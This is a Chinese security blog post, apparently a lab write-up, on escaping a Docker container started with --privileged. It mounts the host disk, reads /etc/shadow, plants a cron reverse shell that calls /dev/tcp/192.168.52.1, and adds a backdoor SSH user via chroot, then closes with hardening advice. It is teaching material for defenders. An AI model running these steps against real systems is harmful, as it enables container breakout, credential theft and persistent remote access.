记一次Docker下的Privileged特权容器逃逸

admin 2024年5月19日00:53:17评论6 views字数 2909阅读9分41秒阅读模式

前言

在一次对被黑客入侵的服务器进行相关排查,根据相关排查发现在宿主机上不仅存在“挖矿”进程运行,在 Docker 容器内也存在挖矿进程运行,排查时发现 Docker 容器使用了 Privileged 特权模式启动,遂本文就根据此情形简单写一篇关于 Privileged 特权模式下的容器逃逸。

Privileged 特权启动容器

如果容器在启动时添加了 --privileged 参数则会具备全部 Capabilities ,容器可以访问主机所有 device 以及具有 mount 操作的权限,还包括禁用 SeccompAppArmor 等安全机制。所以,特权容器几乎拥有所有设备的访问权限,可以通过一些设置来达到从容器内部和从外部访问相同的效果。例如我们可以基于该特权模式实现 Docker run in Docker ,其相关文章可参考:docker-can-now-run-within-docker[1]

注:本文在个人虚拟机中演示,虚拟机系统为 CentOS 7 ,不同 Linux 系统可能部分命令操作不太一样,但原理相同,下面开始实战演示。

容器启动

首先使用 Privileged 特权模式创建并启动一个容器:

docker run --rm -it --privileged=true alpine:latest

权限检测

在容器内部执行下面的命令,重点看下特权容器中获取的 Cap 集合,从而判断容器是不是特权模式,如果是以特权模式启动的话,其 CapEff 对应的掩码值应该为 0000003fffffffff 或是 0000001fffffffff ,如下:

/ # cat /proc/self/status | grep CapCapInh:0000000000000000CapPrm:0000001fffffffffCapEff:0000001fffffffffCapBnd:0000001fffffffffCapAmb:0000000000000000/ #

CapEff  主要是检查线程的执行权限,可以在装有 Docker 的机器上执行命令 capsh --decode=0000001fffffffff 进行解码,并根据该文章特权容器[2]判断相关权限集合。

逃逸复现

方法一

查看挂载磁盘设备:

/ # fdisk -lDisk /dev/sda: 60 GB, 64424509440 bytes, 125829120 sectors7832 cylinders, 255 heads, 63 sectors/trackUnits: sectors of 1 * 512 = 512 bytesDevice  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type/dev/sda1 *  0,32,33     130,170,40        2048    2099199    2097152 1024M 83 Linux/dev/sda2    130,170,41  1023,254,63    2099200   41943039   39843840 18.9G 8e Linux LVM/dev/sda3    562,212,35  844,63,51     41943040   62914559   20971520 10.0G 8e Linux LVM/dev/sda4    844,63,52   664,127,39    62914560  125829119   62914560 30.0G 8e Linux LVMDisk /dev/dm-0: 57 GB, 61190701056 bytes, 119513088 sectors7439 cylinders, 255 heads, 63 sectors/trackUnits: sectors of 1 * 512 = 512 bytesDisk /dev/dm-0 doesn't contain a valid partition tableDisk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors261 cylinders, 255 heads, 63 sectors/trackUnits: sectors of 1 * 512 = 512 bytesDisk /dev/dm-1 doesn't contain a valid partition table/ #

将宿主机文件挂载到 /mnt 目录下:

mount /dev/dm-0 /mnt

尝试访问宿主机 /etc/shadow 文件,可以看到正常访问:

/ # cat /mnt/etc/shadowroot:$6$xx$axxxxxxxx:18966:0:99999:7:::bin:*:18353:0:99999:7:::daemon:*:18353:0:99999:7:::……

那么也可以在定时任务中写入反弹 Shell:

/ # echo "*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.52.1/2023 0>&1" > /mnt/var/spool/cron/root

等待约 1 分钟,即可收到宿主机的反弹 Shell ,如图:

记一次Docker下的Privileged特权容器逃逸

取消宿主机文件挂载:

umount /mnt

方法二

该方法可利用 chroot 命令进行切根,并创建一个登陆用户,从而使用新增用户登录系统,命令如下:

# 挂载宿主机文件/ # mount /dev/dm-0 /mnt/ ## chroot 切根/ # chroot /mnt[root@3209e48fe515 /]## 添加 test 用户[root@3209e48fe515 /]# useradd test[root@3209e48fe515 /]## 给 test 用户设置密码:test[root@3209e48fe515 /]# echo "test" | passwd test --stdinChanging password for user test.passwd: all authentication tokens updated successfully.[root@3209e48fe515 /]#

下面即可使用 ssh 对宿主机进行链接,如下图:

记一次Docker下的Privileged特权容器逃逸

退出 chroot 环境并取消宿主机文件挂载:

[root@3209e48fe515 /]# exitexit/ # umount /mnt/ #

小结

此处仅说明了 Docker 容器下启用 Privileged 特权模式容器逃逸的部分方法,还有例如通过访问主机上的 Docker 套接字(通常是 /var/run/docker.sock )来与 Docker 守护程序进行通信,从而执行 Docker 操作等以及其它的方法。一个容器若使用了特权模式,那么它将会以很高的权限运行,所以非必要情况不要对容器使用特权模式运行,即使使用,也要做好相关安全措施。

文章同步发表于个人博客:https://www.isisy.com/1510.html

参考资料

[1]

docker-can-now-run-within-docker: https://www.docker.com/blog/docker-can-now-run-within-docker/

[2]

特权容器: https://www.bookstack.cn/read/openeuler-21.03-zh/70e0731add42ae6d.md

点击下方 阅读原文 即可直达博客。

原文始发于微信公众号(小杨学安全):记一次Docker下的Privileged特权容器逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日00:53:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次Docker下的Privileged特权容器逃逸https://cn-sec.com/archives/2171049.html

发表评论

匿名网友 填写信息